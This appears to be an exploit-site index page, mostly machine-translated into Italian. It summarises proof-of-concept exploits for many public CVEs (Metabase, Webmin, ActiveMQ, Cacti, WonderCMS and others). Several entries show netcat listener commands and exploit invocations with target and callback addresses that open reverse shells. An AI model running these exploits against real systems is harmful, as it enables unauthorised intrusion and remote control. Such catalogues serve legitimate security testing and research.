CVE-2023-38646

CVE-2023-38646 Lo script originale proviene da securezeron Durante i miei test, ho scoperto che la reverse shell generata da questo PoC, dopo la codifica base64, falliva a causa del carattere '=' alla fine. L'ho leggermente modificato per risolvere questo problema. root@kitploit: 原始的生成reverse...

CVE-2019-15107

CVE-2019-15107 POC per CVE 2019-15107 Usalo solo per scopi educativi. Per usarlo, apri un listener sul tuo computer nc -lnvp Modifica il comando perl in modo che corrisponda al tuo IP e alla tua porta. Avvia lo script, una reverse shell si aprirà sul tuo listener. Lo script python andrà in timeou...

TraditionalJay

TraditionalJay Negozio intenzionalmente vulnerabile classico / tradizionale per workshop di sicurezza — Java su una VM EC2, VM Azure o Compute Engine GCP, non container. Storia principale: Compromissione critica della VM — SQL injection → Log4Shell CVE-2021-44228 → reverse shell verso C2 esterno...

cve-2023-4220-poc

CVE-2023-4220 Chamilio exploit PoC Senza vergogna copiato da Direttamente ispirato da: https://starlabs.sg/advisories/23/23-4220/ Utilizzo: root@kitploit: Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help...

CVE-2023-46604

CVE-2023-46604 Costruisci un docker-compose contenente 2 immagini: la macchina vittima e la macchina target secondo l'ambiente richiesto. Sulla macchina vittima, avvia ActiveMQ. Passa alla macchina attaccante: • Apri il servizio HTTP per inviare il PoC: python3 -m http.server • Usa netcat per...

CVE-2024-23692

CVE-2024-23692 - Rejetto HFS Remote Code Execution RCE A tactical documentation and exploit guide for CVE-2024-23692 , an unauthenticated critical Remote Code Execution RCE vulnerability affecting Rejetto HTTP File Server HFS versions prior to 2.3m. This guide leverages an In-Memory Reverse Shell...

CVE-2024-48061

CVE-2024-48061 Langflow vulnerabile all'esecuzione remota di codice CVE-2024-48061 poc Utilizzo root@kitploit: python3 poc.py -i -p -l -lp Descrizione Questo script sfrutta un endpoint API vulnerabile su /api/v1/validate/code del server web target. Prima verifica la presenza del percorso...

CVE-2023-38646

CVE-2023-38646-exploit "Questa vulnerabilità, designata come CVE-2023–38646, consentiva agli attaccanti di eseguire comandi arbitrari sul server senza richiedere alcuna autenticazione." Un rapido script exploit di reverse shell per cve-2023-38646. Non ho scoperto questa vulnerabilità, ho solo...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

L'obiettivo di questo progetto era condurre un audit di sicurezza di un blog recentemente lanciato da Ackme Support Incorporated, identificando eventuali vulnerabilità critiche prima che il sito venga reso pubblico. Il compito prevedeva di trovare un modo per eseguire codice in remoto e ottenere...

CVE-2026-4480

Exploit ausführen: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload...

CVE-2022-36804-ReverseShell

Progetto Originale https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit Un exploit PoC abbastanza affidabile per CVE-2022-36804 BitBucket Critical Command Injection. Questo attacco richiede generalmente che i repository pubblici siano abilitati, tuttavia anche i...

CVE-2021-32160

..| XSS para usuário privilegiado |.. Descrição : Explorando um ataque de Cross-Site Scripting XSS refletido para criar um usuário privilegiado por meio do recurso de adição de usuários do Webmin e, em seguida, obtendo um shell reverso por meio do recurso de processos em execução do Webmin Versão...

CVE-2019-7214

Exploit Reverse Shell Windows PowerShell su TCP Questo script Python colpisce un servizio vulnerabile in esecuzione su una macchina Windows remota. Invia un payload .NET serializzato che avvia una reverse shell basata su PowerShell verso la macchina dell'attaccante. CVE-2019-7214 Esecuzione di...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 Exploit XSS verso RCE Panoramica Questi script sfruttano una vulnerabilità XSS Cross-Site Scripting in WonderCMS 4.3.2 per ottenere Esecuzione Remota di Codice RCE. Il payload XSS, quando innescato dall'amministratore, installa automaticamente una reverse shell sul server target...

CVE-2023-38646

CVE-2023-38646 Un exploit RCE in Python per CVE-2023-38646 Utilizzo Avvia un listener root@kitploit: nc -lvnp Esegui l'exploit root@kitploit: python3 CVE-2023-38646.py -u -l -p Aiuto root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional argument...

CVE-2014-7205

Bassmaster NodeJS Plugin RCE PoC bassmaster-rce.py: Uno script Python per sfruttare CVE-2014-7205. nodeshell.py: Un modulo Python per generare una reverse shell per NodeJS !!Utilizzare solo contro server su cui si ha il permesso di testare Riepilogo CVE-2014-7205 è una vulnerabilità di Remote Cod...

CVE-2012-2593

Atmail - Catena di Exploit XSS-CSRF-RCE PoC atmail-rce.py: Sfrutta CVE-2012-2593 nell'interfaccia webmail di Atmail. atmail-csrf.js: File Javascript che sfrutta CVE-2012-2593 per effettuare un CSRF al fine di installare un plugin malevolo che esegue una reverse shell Plugin.php: Plugin di Atmail ...

CVE-2022-42889

Avvio rapido root@kitploit: sudo apt install golang Per eseguire come Python: root@kitploit: go run main.go arg1 arg2 Per creare l'eseguibile: root@kitploit: go build main.go Utilizzo: root@kitploit: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' Da fare:...

CVE-2022-46169

CVE-2022-41343 🐍 Exploit Python per CVE-2022-46169 Staged Reverse Shell per Cacti = 1.2.22 Esempio root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Utilizzo root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Indirizzo IP/Host di callback del...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 Come si usa? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646...